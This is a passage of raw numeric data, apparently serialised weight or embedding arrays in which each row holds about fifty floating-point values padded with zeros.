-0.133936, -0.67873, -0.486724, 0.12997, -0.0168781, 0.562832, 0.248792, 0.153175, 0.464855, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.237309, 0.127714, -0.416475, -1.30233, 1.60442, 0.202962, 0.362182, -0.2418, -1.29894, 1.8216, -0.790792, -1.40845, -0.479937, -0.842622, -0.0194715, -0.148632, 0.0658155, -0.958311, -0.505748, 0.43009, -0.66824, 0.303528, 0.51865, -0.0989407, 0.287197, 0.555372, -0.481519, -2.25648, -0.179563, -1.49037, 0.319031, 0.00599597, 0.00134621, 0.127338, 0.519374, -1.1138, -0.450856, -0.753388, -0.287711, -0.151793, -0.44994, -0.404338, -0.358727, -0.982735, -0.0615194, -2.74336, -0.57274, -0.325357, 0.26856, 0.266523, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.860775, 0.0180794, -0.0462606, 0.421736, 0.634191, -0.000524673, 0.00896901, 1.67739, 0.47783, 0.214317, 0.66395, -0.037064, 0.020615, 0.450022, 0.694568, -5.0868, -0.0315569, -0.811738, -0.462745, -0.897306, -0.0204333, -0.19314, 0.842421, 0.47453, 0.0485597, 0.817617, 1.40939, -0.287674, 0.569909, 0.417637, 0.359453, 0.688019, 0.0205254, -0.0697603, 0.0702353, 0.548315, 0.216272, -0.0114853, -0.859408, 0.163761, 0.694729, -0.456741, 0.326415, -0.771919, -0.191627, 0.482743, -0.331582, 0.0989373, -0.802006, -0.448908, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [2.00811, -0.186828, -0.297124, -0.491714, -0.419923, 0.181311, -0.647591, -0.968513, 0.580954, 1.01828, 0.453348, -0.0164556, 0.0521544, 1.11185, -1.00575, 1.18274, 0.0514415, -0.060575, 0.0115427, 0.00652586, 0.0651973, 0.0428124, 1.10615, -0.0120561, -0.600566, 0.633848, 0.350681, -0.0277538, 0.376333, 0.337169, 2.75157, 1.40064, 0.0381761, 3.16496, -0.766515, 0.773557, -0.0698223, -0.541087, -0.111701, -0.587106, -0.344392, 0.116207, -0.370042, -0.0354144, 0.6893, 0.585876, 0.558638, 0.19301, -0.0339717, -0.208747, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0232671, 0.258041, -0.320955, -0.287116, -0.607761, -0.140412, -0.111226, 0.677993, -0.0777659, 1.06428, -0.354126, -0.0483199, 0.110679, 0.601828, 0.385792, 0.677282, 0.530633, 0.346338, 0.910106, -1.09723, -0.186246, -1.41776, -1.63381, -0.339484, -0.487268, 0.550067, 0.252666, -1.72788, 0.0446465, 0.0564367, 0.355704, 0.664957, 0.0360939, 0.0161946, 0.152702, -0.34789, -0.00506751, -0.520945, -1.03273, 0.808161, -1.32318, 0.0599435, 0.282256, 0.924465, 0.370193, 0.396072, -0.27225, 0.346803, -0.132712, -0.335419, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.514017, 0.793211, -0.197082, 0.494922, 0.247028, 0.140219, -0.824474, 0.464678, -1.30035, -0.615419, 0.962337, 1.04694, 1.22995, -0.581261, -1.51357, 0.650233, -0.616633, -0.553834, -2.16013, -0.460102, 0.65457, 0.338882, -1.48731, 0.0864664, 0.433512, -0.296681, 0.0222916, 0.774926, 0.922859, 0.0180982, -0.200582, -1.35922, -0.0250838, 0.618706, -1.63079, -0.17309, 0.577451, 1.09318, 0.230124, 0.0259479, -0.184858, 0.103705, -0.212705, 0.669665, 0.497472, -0.285007, -0.927072, -0.109665, -1.05784, 0.438057, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [3.31076, -1.76897, -0.23104, -0.267749, -0.736742, -0.251715, 0.255595, 0.00634772, 0.167463, -0.293253, -0.390299, 0.0607037, -0.173012, 0.0388648, 0.692713, 0.176375, -0.251058, -0.05182, -1.09513, -0.268843, 0.113563, -0.355254, -1.89987, 0.136702, 0.229701, -0.0300294, 0.0436944, 0.879776, 0.0430488, 0.157805, 0.696822, 0.281612, 0.0383953, 5.98054, 0.331973, 0.0944209, 0.0502306, -0.235469, -0.28862, 0.306788, 0.298532, -0.260313, 0.0291813, -0.23858, -0.134271, 0.514656, 1.12205, 0.144791, -0.140436, -0.389476, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0283444, -0.0292282, -0.0061457, 0.00440434, -0.0238238, 0.00539078, -0.0252844, -0.0493756, -0.0336549, -0.0103881, -0.0293944, -0.0313557, 0.0306371, 0.0189152, -0.0153622, -0.0063736, -0.019549, 0.00584732, -0.0241938, -0.00477124, -0.050319, 0.048789, -0.00719325, 0.0126405, -0.0399372, -0.0141732, -0.0562473, -0.020683, -0.0226597, 0.00341512, -0.0486056, 0.0341542, -0.0117078, 0.0270383, -0.0126751, 0.00366018, -0.0492441, -0.0170813, 0.00924886, 0.0460188, 0.0063779, -0.0493255, -0.0516902, -0.047391, -0.0493736, 0.0336757, -0.00695044, 0.025185, -0.0459174, -0.00328939, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0130004, -0.101924, 0.798672, -1.27774, 0.490452, 0.0877265, -1.0118, -0.39713, 0.718699, -1.40297, 0.295392, 0.640354, 0.189822, -0.751625, 0.705525, 0.0103505, -2.16262, 2.49863, -3.46509, 0.511194, -0.442104, 0.167073, -1.15443, 0.159415, 0.421726, 1.12585, 0.0173939, 0.487305, 0.190993, 1.22099, 0.149698, 1.01762, -0.0453887, 0.06395, 0.190226, 0.140223, 0.00476885, 0.550635, 0.482488, -0.298516, 0.292157, -0.0591501, 0.0267824, 0.166923, -0.0657871, -0.575444, -0.0177643, -0.919137, -0.491714, -0.234327, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-1.12954, -1.98203, 0.681247, -1.00744, 0.0125257, 0.616914, 0.502048, -0.247398, -0.742161, 0.273734, -0.542163, -0.433465, -0.778037, -0.00983635, -0.445417, 0.338161, 0.235522, 0.602543, 2.14525, 0.828642, -0.652946, 0.0453594, 1.56025, 0.981907, 0.164119, 0.141555, -0.112201, 0.384347, -0.0872552, -1.33298, 0.352783, 1.20286, 0.0167662, -1.75712, 0.126105, -1.0666, -0.132075, -0.158967, 0.299361, 0.433831, 0.378437, -0.158267, 0.273949, -0.299122, 0.670281, 0.364884, -0.940135, -0.208844, -0.0033026, -0.300863, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.234911, -0.0458317, 0.527191, 0.234144, 0.165667, 0.97387, 0.990892, 0.705248, -1.53953, 0.197184, -0.0993503, 1.06273, -0.0871311, 0.0900498, -2.51686, 0.540781, 0.325802, -0.0821268, -0.30756, 0.285131, -0.33191, -0.426577, -0.63683, 0.217943, -1.10709, 0.250246, -0.227559, 0.259977, -0.239422, -7.05666, 0.175037, 0.315524, -0.02734, -0.45341, 0.0893978, -0.593293, -0.666957, 0.512615, -0.178198, -0.741404, -0.347044, 0.1701, -0.983252, 0.959744, -0.000554125, 0.313166, -0.145006, -1.08692, 0.436182, -0.156779, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.462841, 0.0483908, -0.215246, 0.198525, 0.662722, 1.138, -0.157303, 1.56517, -0.982931, 0.334866, 0.200919, 0.74782, -0.373163, -0.310157, -0.445745, 0.0225754, -0.956733, -0.109144, -1.14387, -0.287407, 0.956122, -0.0440908, 0.0127145, -0.629863, 0.911914, 0.570871, 1.09883, -0.256214, -0.0439686, -0.0614603, 0.889854, -1.40847, -0.00749969, -0.210281, -0.200987, 0.849623, -0.274639, -0.879433, 0.125847, -0.152194, -0.198707, 0.785853, 0.177693, 0.545286, -0.183212, -0.0970908, 0.175187, 0.0439407, -0.218034, -0.459548, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.23494, 0.0334302, 0.579969, -0.646494, -0.139742, 0.0605915, 2.21628, 0.09282, -0.114692, 0.96959, -0.155005, -1.41481, 0.32924, 0.324124, 0.788211, 0.569955, -0.884907, 1.49613, 0.595609, 0.119407, 0.319344, -1.99662, -0.296588, -0.575915, -0.856078, -0.665966, 0.418395, 0.319131, 0.00362144, 0.00297241, 0.266386, -4.13115, -0.0119373, -0.413876, 0.00509809, 0.513191, -0.131193, 0.333366, 0.839412, -1.03126, 0.621111, 0.0938094, 0.00806277, 0.0847609, -0.22601, 0.19713, 0.183948, -0.493593, -1.32128, 0.304681, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0979239, -0.14153, 0.0545027, -0.154687, 0.0760792, 0.0415773, 0.0520236, 0.0670973, 0.0668469, 0.0827812, 0.0049199, 0.0759084, 0.00282839, 0.0193778, 0.00502012, 0.024268, -0.0141418, 0.0542391, -0.0124096, 0.0582594, -0.137548, 0.0585241, 0.0227331, -0.114935, -0.004155, 0.0956932, 0.0206375, -0.0147533, 0.0644758, -0.278916, 0.0771713, 0.056255, 0.0145891, 0.0899112, 0.0703252, 0.017379, 0.0798212, 0.0369915, -0.218116, -0.0481118, -0.189131, -0.163589, -0.274484, -0.0475133, -0.138894, -0.08416, -0.0412617, -0.128867, 0.00350387, -0.137488, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0857904, 0.0362519, 0.801637, 0.0923544, 0.0995631, 0.165768, 0.623835, -0.817245, -1.01886, -0.828374, -1.08255, 1.87546, 0.0948064, 0.458152, 0.0150366, -0.0125113, -0.547671, 0.38044, -2.05608, 0.372083, -1.583, -0.0427249, -0.132529, -1.44832, -0.16211, -0.481075, 0.153427, 0.210473, 0.192147, 0.339794, 0.243029, 0.379392, 0.0511097, -0.0281061, 0.338908, 0.399371, -0.0865207, -0.223833, -1.73666, 0.0926796, 0.1418, -0.147703, 0.081629, -0.715479, -0.0398488, -0.134388, -0.0245999, -0.207637, -0.381898, 0.0576878, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.782978, -1.31249, 0.492161, -0.127654, 0.448366, 0.252098, -0.196082, -0.278214, -0.865962, -0.343723, -0.190908, -0.613069, -0.360934, -0.432641, 0.0802977, -0.931049, -0.238018, 0.324186, 0.940521, -0.169633, -3.54153, 0.27574, 0.122675, 0.287742, 0.0862406, 0.101467, 0.0937486, 0.376608, -0.216676, 0.0158615, 0.801658, -0.356513, 0.0131047, 0.0100694, -0.11731, 0.128709, 0.0544628, 0.332951, -0.325001, 0.262972, -0.704712, 0.289263, -0.115508, -0.106079, -0.273661, -0.137424, 0.295802, 0.251554, -0.15147, 0.812217, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.221353, 0.00234244, 0.0488226, -0.968135, 0.768926, -0.254478, 0.545619, 0.129323, 0.0240332, 0.42101, 0.201081, -0.383071, 0.819562, 0.989608, -0.234604, 0.498461, 0.312874, -0.216345, -0.68821, -0.481432, 0.247048, -0.443589, 0.121765, 0.509351, -0.147598, 0.0189576, 0.328939, -0.814008, -0.203753, -0.342, -0.385762, -0.717589, 0.0167689, 0.837998, -0.159947, -0.71656, 0.318193, 0.19491, 0.262582, -0.0904976, 0.632441, -5.82224, -0.858126, -0.605227, 0.128002, -0.476632, 0.461294, 0.640975, -0.273571, 0.694123, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0862918, 0.300849, 0.657267, 0.0389958, 0.724292, -0.399314, 0.546873, 0.81526, 0.408856, 0.31256, 0.28614, -1.78256, 0.411809, 0.649726, -0.998381, 0.570765, 0.396004, 0.587473, 1.25759, 0.669091, -0.312952, 0.0842537, 1.61259, 0.0890164, -0.532834, -0.293997, -1.24774, 0.194833, 0.140172, -0.0839735, 1.32351, 1.37591, -0.00944198, -0.784492, -0.652218, -0.237088, -0.731283, -0.245344, -0.0486326, 1.15746, -0.640049, -2.09551, -0.262252, 0.955999, -0.835358, -0.535733, 1.22269, -0.818881, 0.249386, -0.360404, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.147482, 0.21367, 0.105333, -0.106765, 0.947375, -0.71536, -0.676101, 0.307168, -1.53804, 0.233489, 0.0529586, -0.991249, 0.313529, 0.605903, 0.508214, 0.706828, 0.48106, 0.464343, 0.0179566, 1.32737, -0.595414, -0.0201148, 3.09829, 0.0294324, -0.156914, 0.179849, -0.746091, -0.442575, -0.506171, -0.0550539, -0.230763, 1.01705, -0.011757, 0.46695, -0.787698, -0.518199, -0.172457, -0.552513, 0.213636, 0.869895, -0.571311, 2.1669, 0.216932, 0.41158, -0.244582, -0.587838, -0.266812, 1.59772, 0.321591, -0.827557, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.546604, 0.0393012, 0.425637, -0.453074, 0.30771, 0.156033, 0.573413, 0.296649, -1.32928, -0.313979, 0.263459, 0.292599, 0.562853, 0.828432, -0.25172, 0.452986, -0.25216, 0.0811483, -1.43776, 0.381871, 0.330831, 0.0379137, -0.417532, 0.0690017, 0.0322853, 0.415466, 1.03652, -0.355363, 0.205422, 0.102059, 0.587565, -0.0794769, 0.0382172, -0.420938, -0.217986, -0.673195, 0.235914, -0.587035, -0.130113, 0.463513, 0.112477, 0.0826404, 0.00333451, 0.0609784, 0.124418, 0.201016, 0.230887, 0.094635, -0.435658, 0.308267, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.00284278, -0.0234618, -0.00713154, 0.0071038, 0.0224815, -0.019209, -0.054293, 0.0230982, 0.0345744, -0.0406338, -0.0271368, -0.0446835, 0.0133684, -0.0520202, 0.0190976, -0.0357759, 0.0325284, -0.0152275, 0.0425474, -0.0090571, -0.010776, -0.057947, -0.037721, 0.0147478, 0.0422911, -0.00107573, 0.00690789, -0.0460532, 0.0187636, 0.000341547, 0.0295811, -0.0197646, 0.0264639, 0.038014, -0.0314514, -0.00399881, -0.0290396, 0.0082825, 0.0204926, -0.0351404, 0.000962653, -0.038445, 0.00342303, -0.0153331, -0.0201067, -0.00563255, -0.0527976, -0.0257153, 0.0409279, -0.0537176, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0731604, -0.0869608, 0.832892, -0.378225, 0.291017, 0.976665, -0.383912, 1.03849, 0.496609, 0.329145, 0.491965, -1.46421, -1.20892, 0.621135, 0.348728, 0.617805, 0.0327674, 0.336061, 0.901698, -0.242613, -0.854588, 1.03261, 2.7824, 1.17994, -0.246615, -0.512356, -0.680451, -0.299622, -0.566251, 0.385277, -0.0218687, -0.0986753, 0.0341144, 0.405292, -0.25841, -0.273704, 0.770407, -0.471677, 0.318017, 0.399026, 0.802478, -0.299052, 0.916891, 0.302323, 0.464384, 0.330468, -0.263911, -0.515663, 0.0662738, 0.027282, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0441286, -0.00546447, -0.0240662, 0.00105081, -0.0430379, 0.0410814, -0.00380388, -0.00872974, 0.0376303, -0.0415215, -0.0028435, -0.0483639, -0.0407798, -0.0146938, -0.0378572, 0.0440071, -0.0107796, 0.00862186, 0.0476612, 0.00365753, -0.0361475, -0.0309958, -0.00472211, 0.00755609, -0.0510159, -0.0169419, -0.0475588, 0.0217901, 0.0375291, -0.0278333, 0.00976162, -0.0385417, -0.0489998, 0.000760244, 0.0117892, 0.0144381, 0.00963789, 0.0279642, -0.022647, -0.0396742, -0.0160187, -0.0414412, -0.00490431, -0.0528512, 0.0321663, 0.0115079, 0.0208048, 0.00169412, 0.0207265, -0.0212618, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.618565, -0.755342, 0.0915119, -0.25606, -0.0413942, 0.176574, -0.00188475, -0.716188, -0.224037, 0.018656, -0.101333, -0.170959, -1.00495, 0.74989, -0.391988, 0.0611583, -0.0659943, -0.0631049, 0.589176, -0.211107, 0.691824, 0.135871, -0.017798, -0.145994, -0.0719946, -0.156497, -0.286569, 0.557596, -0.1802, 0.264851, 0.114117, -1.03534, -0.0285307, 0.132273, -0.322247, 0.373174, 0.00657407, 0.18359, 0.0606323, 0.475604, -0.74004, 0.429012, -0.233832, 0.224679, 0.0461328, -0.700487, 0.375032, -0.243773, 0.936809, -0.398203, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.358366, -1.72701, 0.286034, -0.316748, -0.255667, -0.49184, -0.452377, 1.28548, -0.0373283, 0.511482, 0.460804, 0.639939, 0.514747, -0.205279, -0.377787, 0.199752, -0.163132, -0.0138939, 1.4506, 0.507963, 2.56668, 0.173851, 0.584889, -1.2111, -0.230775, 0.211244, 0.0915796, -0.313948, 0.175227, -0.465091, 0.636242, 0.479036, -0.00742365, 1.85145, -0.186411, 0.276198, 0.625245, 0.351611, -0.0914415, 0.0584523, 0.171547, -1.55254, -0.500038, -1.41571, -0.615821, -0.276451, -0.23656, 0.471469, 0.100311, 0.132492, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.647953, -2.58602, 0.265652, -0.474751, 0.414301, 0.00320868, -0.015903, 0.463234, -0.157007, -0.0406942, 0.171125, 0.677571, -0.390234, 0.022835, -0.208871, -0.0769796, -0.0329986, 0.190085, -0.0438186, 0.13347, -0.627871, 0.284785, -0.285487, -1.29683, 0.0769671, 0.297995, -0.0428294, -0.136549, -0.395369, -0.920523, 0.310968, 0.296013, 0.0319262, 2.8743, 0.0655735, 0.181104, 0.00437528, 0.277516, -0.187704, 0.238157, -0.234199, 0.247195, -0.183828, 1.16298, -0.0167877, 0.104227, -0.00531696, 0.107486, 0.076557, -0.336613, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.739403, -0.00524336, -0.55245, -0.603926, -0.660408, -1.27586, 1.85387, -0.768296, 0.87706, 1.70521, 0.998719, -0.096792, 1.00872, -0.56117, -0.869562, 0.103173, 0.213828, 0.74044, 3.13816, -1.05734, 0.140192, -0.393623, -2.13893, 0.348549, -1.31066, -0.28922, -0.382126, -0.847085, 0.108676, -0.499653, 0.910457, -0.13597, 0.0362483, -0.0293888, 1.01986, 0.566697, 0.542157, 0.489373, 0.151762, -0.575875, -2.06749, 0.354504, -0.182799, -0.458905, 0.947711, 0.511272, 0.408156, 0.213648, -0.403638, -0.775191, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0551109, -0.115412, -0.0521716, -0.0160428, 